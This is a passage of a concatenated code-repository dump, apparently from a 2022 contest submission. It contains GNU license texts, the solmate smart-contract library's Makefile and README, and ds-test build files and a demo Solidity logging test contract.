Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the work with which it is combined will remain governed by version
3 of the GNU General Public License.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU Affero General Public License from time to time. Such new versions
will be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU Affero General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU Affero General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU Affero General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
Copyright (C)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see .
Also add information on how to contact you by electronic and paper mail.
If your software can interact with users remotely through a computer
network, you should also make sure that it provides a way for users to
get its source. For example, if your program is a web application, its
interface could display a "Source" link that leads users to an archive
of the code. There are many ways you could offer source, and different
solutions will be better for different programs; see section 13 for the
specific requirements.
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU AGPL, see
.
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/Makefile
================================================
all: solc install update
# Install proper solc version.
solc:; nix-env -f https://github.com/dapphub/dapptools/archive/master.tar.gz -iA solc-static-versions.solc_0_8_10
# Install npm dependencies.
install:; npm install
# Install dapp dependencies.
update:; dapp update
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/README.md
================================================
# solmate
**Modern**, **opinionated**, and **gas optimized** building blocks for **smart contract development**.
## Contracts
```ml
auth
├─ Auth — "Flexible and updatable auth pattern"
├─ authorities
│ ├─ RolesAuthority — "Role based Authority that supports up to 256 roles"
│ ├─ MultiRolesAuthority — "Flexible and target agnostic role based Authority"
tokens
├─ WETH — "Minimalist and modern Wrapped Ether implementation"
├─ ERC20 — "Modern and gas efficient ERC20 + EIP-2612 implementation"
├─ ERC721 — "Modern, minimalist, and gas efficient ERC721 implementation"
├─ ERC1155 — "Minimalist and gas efficient standard ERC1155 implementation"
utils
├─ SSTORE2 - "Library for cheaper reads and writes to persistent storage"
├─ CREATE3 — "Deploy to deterministic addresses without an initcode factor"
├─ SafeCastLib - "Safe unsigned integer casting lib that reverts on overflow"
├─ ReentrancyGuard — "Gas optimized reentrancy protection for smart contracts"
├─ FixedPointMathLib — "Arithmetic library with operations for fixed-point numbers"
├─ Bytes32AddressLib — "Library for converting between addresses and bytes32 values"
├─ SafeTransferLib — "Safe ERC20/ETH transfer lib that handles missing return values"
```
## Installation
To install with [**DappTools**](https://github.com/dapphub/dapptools):
```sh
dapp install rari-capital/solmate
```
To install with [**Foundry**](https://github.com/gakonst/foundry):
```sh
forge install rari-capital/solmate
```
To install with [**Hardhat**](https://github.com/nomiclabs/hardhat) or [**Truffle**](https://github.com/trufflesuite/truffle):
```sh
npm install @rari-capital/solmate
```
## Acknowledgements
These contracts were inspired by or directly modified from many sources, primarily:
- [Gnosis](https://github.com/gnosis/gp-v2-contracts)
- [Uniswap](https://github.com/Uniswap/uniswap-lib)
- [Dappsys](https://github.com/dapphub/dappsys)
- [Dappsys V2](https://github.com/dapp-org/dappsys-v2)
- [0xSequence](https://github.com/0xSequence)
- [OpenZeppelin](https://github.com/OpenZeppelin/openzeppelin-contracts)
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/ds-test/.gitignore
================================================
/.dapple
/build
/out
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/ds-test/LICENSE
================================================
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc.
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
Copyright (C)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
Copyright (C)
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
.
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/ds-test/Makefile
================================================
all:; dapp build
test:
-dapp --use solc:0.4.23 build
-dapp --use solc:0.4.26 build
-dapp --use solc:0.5.17 build
-dapp --use solc:0.6.12 build
-dapp --use solc:0.7.5 build
demo:
DAPP_SRC=demo dapp --use solc:0.7.5 build
-hevm dapp-test --verbose 3
.PHONY: test demo
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/ds-test/default.nix
================================================
{ solidityPackage, dappsys }: solidityPackage {
name = "ds-test";
src = ./src;
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/ds-test/demo/demo.sol
================================================
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.4.23;
import "../src/test.sol";
contract DemoTest is DSTest {
function test_this() public pure {
require(true);
}
function test_logs() public {
emit log("-- log(string)");
emit log("a string");
emit log("-- log_named_uint(string, uint)");
log_named_uint("uint", 512);
emit log("-- log_named_int(string, int)");
log_named_int("int", -512);
emit log("-- log_named_address(string, address)");
log_named_address("address", address(this));
emit log("-- log_named_bytes32(string, bytes32)");
log_named_bytes32("bytes32", "a string");
emit log("-- log_named_bytes(string, bytes)");
log_named_bytes("bytes", hex"cafefe");
emit log("-- log_named_string(string, string)");
log_named_string("string", "a string");
emit log("-- log_named_decimal_uint(string, uint, uint)");
log_named_decimal_uint("decimal uint", 1.0e18, 18);
emit log("-- log_named_decimal_int(string, int, uint)");
log_named_decimal_int("decimal int", -1.0e18, 18);
}
event log_old_named_uint(bytes32,uint);
function test_old_logs() public {
log_old_named_uint("key", 500);
log_named_bytes32("bkey", "val");
}
function test_trace() public view {
this.echo("string 1", "string 2");
}
function test_multiline() public {
emit log("a multiline\\n" "string");
emit log("a multiline " "string");
log_bytes("a string");
log_bytes("a multiline\n" "string");
log_bytes("a multiline\\n" "string");
emit log(unicode"Ώ");
logs(hex"0000");
log_named_bytes("0x0000", hex"0000");
logs(hex"ff");
}
function echo(string memory s1, string memory s2) public pure
returns (string memory, string memory)
{
return (s1, s2);
}
function prove_this(uint x) public {
log_named_uint("sym x", x);
assertGt(x + 1, 0);
}
function test_logn() public {
assembly {
log0(0x01, 0x02)
log1(0x01, 0x02, 0x03)
log2(0x01, 0x02, 0x03, 0x04)
log3(0x01, 0x02, 0x03, 0x04, 0x05)
}
}
event MyEvent(uint, uint indexed, uint, uint indexed);
